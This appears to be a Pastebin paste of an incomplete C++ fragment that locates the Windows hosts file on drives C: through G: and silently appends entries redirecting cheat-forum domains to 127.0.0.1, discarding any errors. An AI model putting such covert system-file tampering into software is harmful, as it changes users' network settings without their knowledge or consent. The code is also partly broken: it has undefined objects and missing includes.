Advertisement
allen343434

Untitled

Feb 2nd, 2017
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.98 KB | None | 0 0
  1. #include <iostream>
  2. #include <io.h>
  3. #include <fcntl.h>
  4. #include <process.h>
  5.  
  6. using namespace std;
  7.  
  8. ifstream in;
  9. ofstream out;
  10.  
  11. char site_list[10][36] = {
  12. "www.phcheats.net",
  13. "phcheats.net",
  14. "teammollscheater.forumotion.com",
  15. "www.teammollscheater.forumotion.com",
  16. };
  17.  
  18. char HC[10] = "127.0.0.1";
  19. char* which;
  20. char* what;
  21.  
  22. FILE *target;
  23.  
  24. int find_root(void);
  25. void block_site(void);
  26.  
  27. void Protect()
  28. {
  29. if (!Tools.protect)
  30. {
  31. try
  32. {
  33. Tools.success = find_root();
  34. if (Tools.success)
  35. {
  36. block_site();
  37. }
  38. }
  39. catch (exception)
  40. { }
  41. }
  42. }
  43.  
  44. int find_root()
  45. {
  46. ifstream C("C:\\windows\\system32\\drivers\\etc\\hosts");
  47. ifstream D("D:\\windows\\system32\\drivers\\etc\\hosts");
  48. ifstream E("E:\\windows\\system32\\drivers\\etc\\hosts");
  49. ifstream F("F:\\windows\\system32\\drivers\\etc\\hosts");
  50. ifstream G("G:\\windows\\system32\\drivers\\etc\\hosts");
  51.  
  52. if (C) {
  53. target = fopen("C:\\windows\\system32\\drivers\\etc\\hosts", "r+");
  54. which = "C:\\windows\\system32\\drivers\\etc\\hosts";
  55. what = "C:\\steb.log";
  56. return 1;
  57. }
  58. if (D) {
  59. target = fopen("D:\\windows\\system32\\drivers\\etc\\hosts", "r+");
  60. which = "D:\\windows\\system32\\drivers\\etc\\hosts";
  61. what = "D:\\steb.log";
  62. return 1;
  63. }
  64. if (E) {
  65. target = fopen("E:\\windows\\system32\\drivers\\etc\\hosts", "r+");
  66. which = "E:\\windows\\system32\\drivers\\etc\\hosts";
  67. what = "E:\\steb.log";
  68. return 1;
  69. }
  70. if (F) {
  71. target = fopen("F:\\windows\\system32\\drivers\\etc\\hosts", "r+");
  72. which = "F:\\windows\\system32\\drivers\\etc\\hosts";
  73. what = "F:\\steb.log";
  74. return 1;
  75. }
  76. if (G) {
  77. target = fopen("G:\\windows\\system32\\drivers\\etc\\hosts", "r+");
  78. which = "G:\\windows\\system32\\drivers\\etc\\hosts";
  79. what = "G:\\steb.log";
  80. return 1;
  81. }
  82. else return 0;
  83. }
  84.  
  85. void block_site()
  86. {
  87. int i;
  88. fseek(target, 0, SEEK_END);
  89. fprintf(target, "\n");
  90. for (i = 0; i<2; i++)
  91. fprintf(target, "%s\t%s\n", HC, site_list[i]);
  92. fclose(target);
  93. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement